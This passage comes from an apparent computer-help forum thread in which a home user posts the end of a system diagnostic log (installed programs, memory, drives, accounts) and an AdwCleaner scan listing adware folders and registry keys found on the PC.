Fisher-Price iXL - Handy Manny (HKLM-x32\...\{653858CD-40DD-40EC-AAAD-E59570DB9B2B}) (Version: 1.0.0.0 - Fisher-Price) Hidden
Fisher-Price iXL - Handy Manny (HKLM-x32\...\InstallShield_{653858CD-40DD-40EC-AAAD-E59570DB9B2B}) (Version: 1.0.0.0 - Fisher-Price)
Fisher-Price iXL - Shrek (HKLM-x32\...\{E331FD06-1008-4CB9-B22E-5CE1F5F854E4}) (Version: 1.0.0.0 - Fisher-Price) Hidden
Fisher-Price iXL - Shrek (HKLM-x32\...\InstallShield_{E331FD06-1008-4CB9-B22E-5CE1F5F854E4}) (Version: 1.0.0.0 - Fisher-Price)
Fisher-Price iXL - SpongeBob (HKLM-x32\...\{E9034ADB-3488-4850-BEA8-23BC894E353E}) (Version: 1.0.0.0 - Fisher-Price) Hidden
Fisher-Price iXL - SpongeBob (HKLM-x32\...\InstallShield_{E9034ADB-3488-4850-BEA8-23BC894E353E}) (Version: 1.0.0.0 - Fisher-Price)
Fisher-Price iXL - Toy Story (HKLM-x32\...\{9E896F0D-8C9D-4F82-A1A6-C55B7B6F5378}) (Version: 1.0.0.0 - Fisher-Price) Hidden
Fisher-Price iXL - Toy Story (HKLM-x32\...\InstallShield_{9E896F0D-8C9D-4F82-A1A6-C55B7B6F5378}) (Version: 1.0.0.0 - Fisher-Price)
Fisher-Price iXL Computer Software (HKLM-x32\...\{24C4A041-9136-43DB-8C26-3060FC8CFFF8}) (Version: 2.0.2.8 - Fisher-Price) Hidden
Fisher-Price iXL Computer Software (HKLM-x32\...\InstallShield_{24C4A041-9136-43DB-8C26-3060FC8CFFF8}) (Version: 2.0.2.8 - Fisher-Price)
Google Chrome (HKLM-x32\...\Google Chrome) (Version: 52.0.2743.116 - Google Inc.)
Google Earth (HKLM-x32\...\{817750FA-EC6A-485D-9901-0683AE6FFDF1}) (Version: 7.1.5.1557 - Google)
Google Earth Plug-in (HKLM-x32\...\{4AB54F11-2F8C-11E3-B09F-B8AC6F97B88E}) (Version: 7.1.2.2041 - Google)
Google Update Helper (HKLM-x32\...\{60EC980A-BDA2-4CB6-A427-B07A5498B4CA}) (Version: 1.3.31.5 - Google Inc.) Hidden
Google Update Helper (HKLM-x32\...\{A92DAB39-4E2C-4304-9AB6-BC44E68B55E2}) (Version: 1.3.25.11 - Google Inc.) Hidden
H&R Block Indiana 2015 (HKLM-x32\...\{FAD44FEB-BAE9-4768-B7F0-3EC9F9FEB64C}) (Version: 1.15.5201 - HRB Technology, LLC.)
H&R Block Ohio 2015 (HKLM-x32\...\{8D65B63F-A203-4529-AF6F-D04A83FB8729}) (Version: 1.15.9601 - HRB Technology, LLC.)
H&R Block Premium + Efile + State 2015 (HKLM-x32\...\{388CC13F-FAC4-4D3E-83BF-C849E5D4552A}) (Version: 15.07.7401 - HRB Technology, LLC.)
Heroes of Hellas 2 - Olympia (HKLM-x32\...\WT087372) (Version: 2.2.0.95 - WildTangent) Hidden
Hewlett-Packard ACLM.NET v1.1.1.0 (HKLM-x32\...\{6F340107-F9AA-47C6-B54C-C3A19F11553F}) (Version: 1.00.0000 - Hewlett-Packard) Hidden
HP Deskjet 3050A J611 series Basic Device Software (HKLM\...\{1B77E249-B8D5-4E5E-8848-693ACEF84E6D}) (Version: 28.0.1315.0 - Hewlett-Packard Co.)
HP Deskjet 3050A J611 series Help (HKLM-x32\...\{97DDCAB8-B770-4089-A10F-67568069D78A}) (Version: 140.0.2.2 - Hewlett Packard)
HP Deskjet 3050A J611 series Product Improvement Study (HKLM\...\{A772BF60-20A5-4279-A18B-B9D8DBC9B30A}) (Version: 28.0.1315.0 - Hewlett-Packard Co.)
HP Games (HKLM-x32\...\WildTangent hp Master Uninstall) (Version: 1.0.1.5 - WildTangent)
HP MediaSmart DVD (HKLM-x32\...\InstallShield_{DCCAD079-F92C-44DA-B258-624FC6517A5A}) (Version: 4.2.4521 - Hewlett-Packard)
HP MediaSmart Music (HKLM-x32\...\InstallShield_{91A34181-9FAD-43AB-A35F-E7A8945B7E1C}) (Version: 4.2.4517 - Hewlett-Packard)
HP MediaSmart Photo (HKLM-x32\...\InstallShield_{6DAF8CDC-9B04-413B-A0F2-BCC13CF8A5BF}) (Version: 4.2.4513 - Hewlett-Packard)
HP MediaSmart SmartMenu (HKLM\...\{A40F60B1-F1E1-452E-96A5-FF97F9A2D102}) (Version: 3.1.2.4 - Hewlett-Packard)
HP MediaSmart Video (HKLM-x32\...\InstallShield_{D12E3E7F-1B13-4933-A915-16C7DD37A095}) (Version: 4.2.4522 - Hewlett-Packard)
HP MediaSmart/TouchSmart Netflix (HKLM-x32\...\{2EA3D6B2-157E-4112-A3AB-BF17E16661C3}) (Version: 1.0.4.0 - Hewlett-Packard)
HP MovieStore (HKLM-x32\...\{9008D736-35CA-40DB-A2BE-5F32D954E5AA}) (Version: 2.0.2 - Hewlett-Packard)
HP Odometer (HKLM-x32\...\{B8AC1A89-FFD1-4F97-8051-E505A160F562}) (Version: 2.10.0000 - Hewlett-Packard)
HP Photo Creations (HKLM-x32\...\HP Photo Creations) (Version: 1.0.0.5192 - HP Photo Creations)
HP Product Detection (HKLM-x32\...\{A436F67F-687E-4736-BD2B-537121A804CF}) (Version: 11.14.0001 - HP)
HP Setup (HKLM-x32\...\{53469506-A37E-4314-A9D9-38724EC23A75}) (Version: 8.4.4400.3525 - Hewlett-Packard Company)
HP Setup Manager (HKLM-x32\...\{AE856388-AFAD-4753-81DF-D96B19D0A17C}) (Version: 1.0.12844.3519 - Hewlett-Packard Company)
HP Support Assistant (HKLM-x32\...\{CA43FE4F-9FF2-4AD7-88F0-CC3BAC17B226}) (Version: 6.0.5.4 - Hewlett-Packard Company)
HP Support Information (HKLM-x32\...\{7F2A11F4-EAE8-4325-83EC-E3E99F85169E}) (Version: 10.1.1000 - Hewlett-Packard)
HP Support Solutions Framework (HKLM-x32\...\{55065080-504F-43BB-BE00-36B80D7D39A5}) (Version: 12.5.26.37 - Hewlett-Packard Company)
HP Update (HKLM-x32\...\{912D30CF-F39E-4B31-AD9A-123C6B794EE2}) (Version: 5.005.002.002 - Hewlett-Packard)
HP Vision Hardware Diagnostics (HKLM\...\{D79A02E9-6713-4335-9668-AAC7474C0C0E}) (Version: 2.1.6.0 - Hewlett-Packard)
HPDiagnosticAlert (HKLM-x32\...\{846B5DED-DC8C-4E1A-B5B4-9F5B39A0CACE}) (Version: 1.00.0000 - Microsoft) Hidden
Hulu Desktop (HKCU\...\HuluDesktop) (Version: 0.9.14 - Hulu LLC)
iCloud (HKLM\...\{724A887F-2B55-4306-B6F9-8F0E7A04B1B5}) (Version: 5.2.2.87 - Apple Inc.)
iTunes (HKLM\...\{955524E7-79EB-4CA9-BA4D-FD2DF587651B}) (Version: 12.4.3.1 - Apple Inc.)
Java™ 6 Update 22 (HKLM-x32\...\{26A24AE4-039D-4CA4-87B4-2F83216022F0}) (Version: 6.0.220 - Oracle)
Jewel Quest Solitaire 2 (HKLM-x32\...\WT087379) (Version: 2.2.0.95 - WildTangent) Hidden
Junk Mail filter update (HKLM-x32\...\{1F6AB0E7-8CDD-4B93-8A23-AA9EB2FEFCE4}) (Version: 15.4.3502.0922 - Microsoft Corporation) Hidden
Kobo (HKLM-x32\...\Kobo) (Version: 1.6 - Kobo Inc.)
Kodi (HKCU\...\Kodi) (Version:  - XBMC-Foundation)
LabelPrint (HKLM-x32\...\{C59C179C-668D-49A9-B6EA-0121CCFC1243}) (Version: 2.5.3130 - CyberLink Corp.) Hidden
LabelPrint (HKLM-x32\...\InstallShield_{C59C179C-668D-49A9-B6EA-0121CCFC1243}) (Version: 2.5.3130 - CyberLink Corp.)
LeapFrog Connect (HKLM-x32\...\{5B0F473D-7E18-477F-99DC-3745D5A711E9}) (Version: 7.0.6.19846 - LeapFrog) Hidden
LeapFrog Connect (HKLM-x32\...\UPCShell) (Version: 7.0.6.19846 - LeapFrog)
LeapFrog LeapPad Explorer Plugin (HKLM-x32\...\{50B93E1B-EBA1-46AE-909F-10F6F97E1505}) (Version: 7.0.6.19846 - LeapFrog) Hidden
LightScribe System Software (HKLM-x32\...\{46BA053F-57B3-4153-BDB6-D37EEC8B12D7}) (Version: 1.18.15.1 - LightScribe)
Logitech Webcam Software (HKLM-x32\...\{D40EB009-0499-459c-A8AF-C9C110766215}) (Version: 2.31 - Logitech Inc.)
LWS VideoEffects (HKLM\...\{138A4072-9E64-46BD-B5F9-DB2BB395391F}) (Version: 13.30.1379.0 - Logitech) Hidden
Malwarebytes Anti-Malware version 2.2.1.1043 (HKLM-x32\...\Malwarebytes Anti-Malware_is1) (Version: 2.2.1.1043 - Malwarebytes)
McAfee AntiVirus Plus (HKLM-x32\...\MSC) (Version: 15.0.159 - McAfee, Inc.)
McAfee Security Scan Plus (HKLM\...\McAfee Security Scan) (Version: 3.11.334.1 - McAfee, Inc.)
Microsoft Mouse and Keyboard Center (HKLM\...\Microsoft Mouse and Keyboard Center) (Version: 2.3.188.0 - Microsoft Corporation)
Microsoft Office 2010 (HKLM-x32\...\{95140000-0070-0000-0000-0000000FF1CE}) (Version: 14.0.4763.1000 - Microsoft Corporation)
Microsoft Office Click-to-Run 2010 (HKLM-x32\...\Office14.Click2Run) (Version: 14.0.4763.1000 - Microsoft Corporation)
Microsoft Office Starter 2010 - English (HKLM-x32\...\{90140011-0066-0409-0000-0000000FF1CE}) (Version: 14.0.4763.1000 - Microsoft Corporation)
Microsoft Silverlight (HKLM\...\{89F4137D-6C26-4A84-BDB8-2E5A4BB71E00}) (Version: 5.1.50428.0 - Microsoft Corporation)
Microsoft SQL Server 2005 Compact Edition [ENU] (HKLM-x32\...\{F0B430D1-B6AA-473D-9B06-AA3DD01FD0B8}) (Version: 3.1.0000 - Microsoft Corporation)
Microsoft Visual C++ 2005 ATL Update kb973923 - x64 8.0.50727.4053 (HKLM\...\{B6E3757B-5E77-3915-866A-CCFC4B8D194C}) (Version: 8.0.50727.4053 - Microsoft Corporation)
Microsoft Visual C++ 2005 ATL Update kb973923 - x86 8.0.50727.4053 (HKLM-x32\...\{770657D0-A123-3C07-8E44-1C83EC895118}) (Version: 8.0.50727.4053 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{710f4c1c-cc18-4c49-8cbf-51240c89a1a2}) (Version: 8.0.61001 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{837b34e3-7c30-493c-8f6a-2b0f04e2912c}) (Version: 8.0.59193 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (HKLM-x32\...\{A49F249F-0C91-497F-86DF-B2585E8E76B7}) (Version: 8.0.50727.42 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (x64) (HKLM\...\{071c9b48-7c32-4621-a0ac-3f809523288f}) (Version: 8.0.56336 - Microsoft Corporation)
Microsoft Visual C++ 2005 Redistributable (x64) (HKLM\...\{ad8a2fa1-06e7-4b0d-927d-6e54b3d31028}) (Version: 8.0.61000 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.17 (HKLM\...\{8220EEFE-38CD-377E-8595-13398D740ACE}) (Version: 9.0.30729 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.4148 (HKLM\...\{4B6C7001-C7D6-3710-913E-5BC23FCE91E6}) (Version: 9.0.30729.4148 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 (HKLM\...\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.17 (HKLM-x32\...\{9A25302D-30C0-39D9-BD6F-21E6EC160475}) (Version: 9.0.30729 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.4148 (HKLM-x32\...\{1F1C2DFC-2D24-3E06-BCB8-725134ADF989}) (Version: 9.0.30729.4148 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM-x32\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2010  x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2010  x86 Redistributable - 10.0.30319 (HKLM-x32\...\{196BB40D-1578-3D01-B289-BEFC77A11A1E}) (Version: 10.0.30319 - Microsoft Corporation)
Microsoft Visual C++ 2012 Redistributable (x64) - 11.0.61030 (HKLM-x32\...\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}) (Version: 11.0.61030.0 - Microsoft Corporation)
Microsoft Visual C++ 2012 Redistributable (x86) - 11.0.61030 (HKLM-x32\...\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}) (Version: 11.0.61030.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.21005 (HKLM-x32\...\{ce085a78-074e-4823-8dc1-8a721b94b76d}) (Version: 12.0.21005.1 - Microsoft Corporation)
mIRC (HKLM-x32\...\mIRC) (Version: 7.27 - mIRC Co. Ltd.)
MobileMe Control Panel (HKLM\...\{6DD01FF3-63CE-436B-96DB-61363EAA4EB8}) (Version: 3.1.8.0 - Apple Inc.)
Movie Theme Pack for HP MediaSmart Video (HKLM-x32\...\{3023EBDA-BF1B-4831-B347-E5018555F26E}) (Version: 4.2.4412 - Hewlett-Packard) Hidden
Movie Theme Pack for HP MediaSmart Video (HKLM-x32\...\InstallShield_{3023EBDA-BF1B-4831-B347-E5018555F26E}) (Version: 4.2.4412 - Hewlett-Packard)
Mozilla Firefox 47.0 (x86 en-US) (HKLM-x32\...\Mozilla Firefox 47.0 (x86 en-US)) (Version: 47.0 - Mozilla)
Mozilla Maintenance Service (HKLM-x32\...\MozillaMaintenanceService) (Version: 47.0 - Mozilla)
Mozilla Thunderbird 24.0.1 (x86 en-US) (HKLM-x32\...\Mozilla Thunderbird 24.0.1 (x86 en-US)) (Version: 24.0.1 - Mozilla)
MSXML 4.0 SP2 (KB954430) (HKLM-x32\...\{86493ADD-824D-4B8E-BD72-8C5DCDC52A71}) (Version: 4.20.9870.0 - Microsoft Corporation)
MSXML 4.0 SP2 (KB973688) (HKLM-x32\...\{F662A8E6-F4DC-41A2-901E-8C11F044BDEC}) (Version: 4.20.9876.0 - Microsoft Corporation)
MyHarmony (HKCU\...\036a0e4fc6a247ec) (Version: 1.0.1.257 - Logitech)
Mystery P.I. - The London Caper (HKLM-x32\...\WT089299) (Version: 2.2.0.95 - WildTangent) Hidden
Norton Online Backup (HKLM-x32\...\{40A66DF6-22D3-44B5-A7D3-83B118A2C0DC}) (Version: 2.1.17869 - Symantec Corporation)
NVIDIA PhysX (HKLM-x32\...\{64467D47-FFE4-4FBC-ABBA-A0DB829A17EB}) (Version: 9.12.0613 - NVIDIA Corporation)
OpenOffice 4.1.1 (HKLM-x32\...\{9395F41D-0F80-432E-9A59-B8E477E7E163}) (Version: 4.11.9775 - Apache Software Foundation)
Origin (HKLM-x32\...\Origin) (Version: 9.4.22.2815 - Electronic Arts, Inc.)
P@H-Protocol (HKLM-x32\...\{14F936AB-5D31-410E-A4E2-70AE504712F2}) (Version: 3.0.8.6 - Valassis)
Paperless Converter version 5.0.0.92 (HKLM-x32\...\Paperless Converter_is1) (Version: 5.0.0.92 - Rarefind Engineering Innovations Pvt. Ltd.)
Paperless Printer version 5.0.0.100 (HKLM-x32\...\Paperless Printer_is1) (Version: 5.0.0.100 - Rarefind Engineering Innovations Pvt. Ltd.)
PDF Complete Special Edition (HKLM-x32\...\PDF Complete) (Version: 4.0.9 - PDF Complete, Inc)
Penguins! (HKLM-x32\...\WT087394) (Version: 2.2.0.95 - WildTangent) Hidden
PhotoNow! (HKLM-x32\...\{D36DD326-7280-11D8-97C8-000129760CBE}) (Version: 1.1.7717 - CyberLink Corp.) Hidden
PhotoNow! (HKLM-x32\...\InstallShield_{D36DD326-7280-11D8-97C8-000129760CBE}) (Version: 1.1.7717 - CyberLink Corp.)
PictureMover (HKLM-x32\...\{264FE20A-757B-492a-B0C3-4009E2997D8A}) (Version: 3.5.0.33 - Hewlett-Packard Company)
Plants vs. Zombies (HKLM-x32\...\BFG-Plants vs Zombies) (Version:  - )
Plants vs. Zombies (HKLM-x32\...\WT087501) (Version: 2.2.0.95 - WildTangent) Hidden
PlayReady PC Runtime amd64 (HKLM\...\{BCA9334F-B6C9-4F65-9A73-AC5A329A4D04}) (Version: 1.3.0 - Microsoft Corporation)
PlayReady PC Runtime x86 (HKLM-x32\...\{CCA5EAAD-92F4-4B7A-B5EE-14294C66AB61}) (Version: 1.3.0 - Microsoft Corporation)
Poker Superstars III (HKLM-x32\...\WT087395) (Version: 2.2.0.95 - WildTangent) Hidden
Polar Bowler (HKLM-x32\...\WT087396) (Version: 2.2.0.95 - WildTangent) Hidden
Polar Golfer (HKLM-x32\...\WT087397) (Version: 2.2.0.95 - WildTangent) Hidden
Popcorn Time (HKCU\...\Popcorn Time) (Version:  - Popcorn Official)
Popcorn Time (HKLM-x32\...\Popcorn Time_is1) (Version: Beta 4.3 - Popcorn Time)
Power2Go (HKLM-x32\...\{40BF1E83-20EB-11D8-97C5-0009C5020658}) (Version: 6.1.4329 - CyberLink Corp.) Hidden
Power2Go (HKLM-x32\...\InstallShield_{40BF1E83-20EB-11D8-97C5-0009C5020658}) (Version: 6.1.4329 - CyberLink Corp.)
PowerDirector (HKLM-x32\...\{CB099890-1D5F-11D5-9EA9-0050BAE317E1}) (Version: 8.0.3129 - CyberLink Corp.) Hidden
PowerDirector (HKLM-x32\...\InstallShield_{CB099890-1D5F-11D5-9EA9-0050BAE317E1}) (Version: 8.0.3129 - CyberLink Corp.)
PressReader (HKLM-x32\...\{912CED74-88D3-4C5B-ACB0-13231864975E}) (Version: 5.10.1102.0 -  NewspaperDirect Inc.)
Quicken 2014 (HKLM-x32\...\{0877F595-254F-45F4-991D-3F72E86B17CE}) (Version: 23.1.9.3 - Intuit)
QuickTime 7 (HKLM-x32\...\{627FFC10-CE0A-497F-BA2B-208CAC638010}) (Version: 7.77.80.95 - Apple Inc.)
Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.6662 - Realtek Semiconductor Corp.)
Recovery Manager (HKLM-x32\...\{44B2A0AB-412E-4F8C-B058-D1E8AECCDFF5}) (Version: 5.5.3219 - CyberLink Corp.) Hidden
RevTraxPrintMyCoupon (HKLM-x32\...\{19E8EBBF-55F3-41FB-AC8E-373BA0436939}) (Version: 1.0.0.0 - RevTrax)
RoxioNow Player (HKLM-x32\...\{0EDEB615-1A60-425E-8306-0E10519C7B55}) (Version: 1.9.5.101 - RoxioNow)
Seagate Dashboard (HKLM-x32\...\{EA266F00-A8E7-43A0-8DED-FBFE3F076934}) (Version: 4.2.002.0 - Seagate)
SewWhat-Pro (HKLM\...\{7B5ED473-390C-4058-A69F-D763F8ACB648}) (Version: 4.1.1 - S & S Computing)
Shared C Run-time for x64 (HKLM\...\{EF79C448-6946-4D71-8134-03407888C054}) (Version: 10.0.0 - McAfee)
Silhouette Studio (HKLM-x32\...\{72328563-1539-4B32-827E-7FC7536E1241}) (Version: 3.6.057 - Silhouette America)
Sothink FLV Player (HKLM-x32\...\{CAAB0192-5704-469F-A0BE-2D842D70E93B}_is1) (Version: 2.3 - SourceTec Software Co., LTD)
Stanza (HKLM-x32\...\Stanza) (Version:  - )
TeamViewer 10 (HKLM-x32\...\TeamViewer) (Version: 10.0.36244 - TeamViewer)
Toolbar Cleaner (HKLM-x32\...\Toolbar Cleaner) (Version:  - Visicom Media Inc.)
Unity Web Player (HKCU\...\UnityWebPlayer) (Version: 4.5.5f1 - Unity Technologies ApS)
Unity Web Player (x64) (All users) (HKLM\...\UnityWebPlayer) (Version: 4.6.6f2 - Unity Technologies ApS)
Use the entry named LeapFrog Connect to uninstall (LeapFrog LeapPad Explorer Plugin) (HKLM-x32\...\LeapPadExplorerPlugin) (Version:  - LeapFrog)
Virtual Families (HKLM-x32\...\WT087414) (Version: 2.2.0.95 - WildTangent) Hidden
Virtual Villagers 4 - The Tree of Life (HKLM-x32\...\WT089307) (Version: 2.2.0.95 - WildTangent) Hidden
Vuze (HKLM-x32\...\8461-7759-5462-8226) (Version: 4.7 - Vuze Inc.)
Wheel of Fortune 2 (HKLM-x32\...\WT087415) (Version: 2.2.0.95 - WildTangent) Hidden
Windows Driver Package - Leapfrog (Leapfrog-USBLAN) Net  (09/10/2009 02.03.05.012) (HKLM\...\8F14F2ECEDE68D26EA515B48DC25B39103C4FE8D) (Version: 09/10/2009 02.03.05.012 - Leapfrog)
Windows Live Essentials (HKLM-x32\...\WinLiveSuite) (Version: 15.4.3502.0922 - Microsoft Corporation)
YNAB 4 version 4.3.656 (HKLM-x32\...\com.ynab.YNAB4.LiveCaptive_is1) (Version: 4.3.656 - YouNeedABudget.com)
Zinio Reader 4 (HKLM-x32\...\{465210C4-595A-BD80-44E8-E0457D9D8432}) (Version: 4.0.3184 - Zinio LLC) Hidden
Zinio Reader 4 (HKLM-x32\...\ZinioReader4.9310D8F796442B71068C511E15D70529A702D19D.1) (Version: 4.0.3184 - Zinio LLC)
Zuma Deluxe (HKLM-x32\...\WT087533) (Version: 2.2.0.95 - WildTangent) Hidden
 
========================= Memory info: ===================================
 
Percentage of memory in use: 43%
Total physical RAM: 5887.28 MB
Available physical RAM: 3321.47 MB
Total Virtual: 11775.28 MB
Available Virtual: 8642.59 MB
 
========================= Partitions: =====================================
 
1 Drive c: (OS) (Fixed) (Total:917.36 GB) (Free:717.66 GB) NTFS
2 Drive d: (HP_RECOVERY) (Fixed) (Total:13.6 GB) (Free:1.67 GB) NTFS
3 Drive e: (VOL_200911200941) (CDROM) (Total:0.3 GB) (Free:0 GB) CDFS
8 Drive j: (Seagate Backup Plus Drive) (Fixed) (Total:931.51 GB) (Free:360.32 GB) NTFS
 
========================= Users: ========================================
 
User accounts for \\AMY-HP
 
Administrator            Amy                      DefaultAccount           
Guest                    
 
 
**** End of log ****


#4 amkb

amkb
  • Topic Starter

  • Members
  • 26 posts
  • OFFLINE
  •  
  • Local time:05:31 AM

Posted 15 August 2016 - 06:43 PM

 It won't let me paste......



#5 amkb

amkb
  • Topic Starter

  • Members
  • 26 posts
  • OFFLINE
  •  
  • Local time:05:31 AM

Posted 15 August 2016 - 07:16 PM

# AdwCleaner v6.000 - Logfile created 15/08/2016 at 19:36:27
# Updated on 12/08/2016 by ToolsLib
# Database : 2016-08-15.2 [Server]
# Operating System : Windows 10 Home  (X64)
# Username : Amy - AMY-HP
# Running from : C:\Users\Amy\Downloads\AdwCleaner.exe
# Mode: Scan
 
 
 
***** [ Services ] *****
 
No malicious services found.
 
 
***** [ Folders ] *****
 
Folder Found:  C:\Program Files (x86)\CutuThePRicee
Folder Found:  C:\Program Files (x86)\See More Results Hub
Folder Found:  C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\Extensions
Folder Found:  C:\Users\Amy\AppData\Local\Downloaded Installers
Folder Found:  C:\Users\Amy\AppData\Local\Popcorn Time
Folder Found:  C:\Users\Amy\AppData\Roaming\Babylon
Folder Found:  C:\Users\Amy\AppData\Roaming\BabylonToolbar
Folder Found:  C:\Users\Amy\AppData\Roaming\catalina – print savings
Folder Found:  C:\Users\Amy\AppData\Roaming\Itibiti
Folder Found:  C:\Users\Amy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\catalina – print savings
Folder Found:  C:\Users\Amy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Toolbar Cleaner
Folder Found:  C:\Users\Amy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\vGrabber
Folder Found:  C:\Users\Amy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Popcorn Time
Folder Found:  C:\Users\Amy\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Plants Vs Zombies
Folder Found:  C:\Users\Amy\AppData\Roaming\Mozilla\Firefox\Profiles\8g9fg8zv.default\Smartbar
Folder Found:  C:\Users\Amy\AppData\Local\VirtualStore\Program Files (x86)\Popcorn Time
Folder Found:  C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Coupons
Folder Found:  C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Popcorn Time
Folder Found:  C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Plants Vs Zombies
Folder Found:  C:\Program Files (x86)\BabylonToolbar
Folder Found:  C:\Program Files (x86)\Coupons
Folder Found:  C:\Program Files (x86)\Itibiti Soft Phone
Folder Found:  C:\Program Files (x86)\Toolbar Cleaner
Folder Found:  C:\Program Files (x86)\v-Grabber
Folder Found:  C:\Program Files (x86)\Popcorn Time
Folder Found:  C:\Program Files (x86)\Plants Vs Zombies
Folder Found:  C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Coupons
Folder Found:  C:\Program Files (x86)\Coupons
 
 
***** [ Files ] *****
 
File Found:  C:\WINDOWS\SysNative\drivers\swdumon.sys
File Found:  C:\END
File Found:  C:\ProgramData\Microsoft\Windows\Start Menu\Programs\eBay.lnk
File Found:  C:\user.js
 
 
***** [ DLL ] *****
 
No malicious DLLs found.
 
 
***** [ WMI ] *****
 
No malicious keys found.
 
 
***** [ Shortcuts ] *****
 
No infected shortcut found.
 
 
***** [ Scheduled Tasks ] *****
 
No malicious task found.
 
 
***** [ Registry ] *****
 
Key Found:  HKLM\SOFTWARE\Classes\bbylntlbr.bbylntlbrHlpr
Key Found:  HKLM\SOFTWARE\Classes\bbylntlbr.bbylntlbrHlpr.1
Key Found:  HKLM\SOFTWARE\Classes\Prod.cap
Key Found:  HKLM\SOFTWARE\Classes\AppID\{09C554C3-109B-483C-A06B-F14172F1A947}
Key Found:  HKLM\SOFTWARE\Classes\AppID\{4E1E9D45-8BF9-4139-915C-9F83CC3D5921}
Key Found:  HKLM\SOFTWARE\Classes\AppID\{B12E99ED-69BD-437C-86BE-C862B9E5444D}
Key Found:  HKLM\SOFTWARE\Classes\AppID\{BDB69379-802F-4EAF-B541-F8DE92DD98DB}
Key Found:  HKLM\SOFTWARE\Classes\AppID\{D7EE8177-D51E-4F89-92B6-83EA2EC40800}
Key Found:  HKCU\Software\Classes\CLSID\{F28C2F70-47DE-4EA5-8F6D-7D1476CD1EF5}
Key Found:  HKLM\SOFTWARE\Classes\CLSID\{1AA60054-57D9-4F99-9A55-D0FBFBE7ECD3}
Key Found:  HKLM\SOFTWARE\Classes\CLSID\{2EECD738-5844-4A99-B4B6-146BF802613B}
Key Found:  HKLM\SOFTWARE\Classes\CLSID\{E46C8196-B634-44A1-AF6E-957C64278AB1}
Key Found:  HKLM\SOFTWARE\Classes\CLSID\{9522B3FB-7A2B-4646-8AF6-36E7F593073C}
Key Found:  HKLM\SOFTWARE\Classes\TypeLib\{4E1E9D45-8BF9-4139-915C-9F83CC3D5921}
Key Found:  HKLM\SOFTWARE\Classes\TypeLib\{D7EE8177-D51E-4F89-92B6-83EA2EC40800}
Key Found:  HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{2EECD738-5844-4A99-B4B6-146BF802613B}
Key Found:  HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Stats\{9522B3FB-7A2B-4646-8AF6-36E7F593073C}
Key Found:  HKCU\Software\Microsoft\Windows\CurrentVersion\Ext\Settings\{2EECD738-5844-4A99-B4B6-146BF802613B}
Key Found:  HKLM\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{9522B3FB-7A2B-4646-8AF6-36E7F593073C}
Key Found:  HKU\S-1-5-21-1222998811-2290356340-2357664347-1000\Software\Conduit
Key Found:  HKU\S-1-5-21-1222998811-2290356340-2357664347-1000\Software\Microsoft\Babylon
Key Found:  HKU\S-1-5-21-1222998811-2290356340-2357664347-1000\Software\WEBAPP
Key Found:  HKU\S-1-5-21-1222998811-2290356340-2357664347-1000\Software\YahooPartnerToolbar
Key Found:  HKCU\Software\Conduit
Key Found:  HKCU\Software\Microsoft\Babylon
Key Found:  HKCU\Software\WEBAPP
Key Found:  HKCU\Software\YahooPartnerToolbar
Key Found:  HKLM\SOFTWARE\{3A7D3E19-1B79-4E4E-BD96-5467DA2C4EF0}
Key Found:  HKLM\SOFTWARE\Babylon
Key Found:  HKLM\SOFTWARE\SlimWare Utilities Inc
Key Found:  HKLM\SOFTWARE\Toolbar Cleaner
Key Found:  HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\{83AA2913-C123-4146-85BD-AD8F93971D39}
Key Found:  HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Toolbar Cleaner
Key Found:  [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Components\4B2468513CA2D6943A1A233CD3F88CE7
Key Found:  [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\3192AA38321C641458DBDAF83979D193
Key Found:  [x64] HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UpgradeCodes\20E71B53321C641458DBDAF83979D193
Key Found:  [x64] HKLM\SOFTWARE\Classes\Installer\Products\3192AA38321C641458DBDAF83979D193
Key Found:  HKLM\SOFTWARE\Classes\Installer\Features\3192AA38321C641458DBDAF83979D193
Key Found:  HKLM\SOFTWARE\Classes\Installer\Products\3192AA38321C641458DBDAF83979D193
Key Found:  HKLM\SOFTWARE\Classes\Installer\UpgradeCodes\20E71B53321C641458DBDAF83979D193
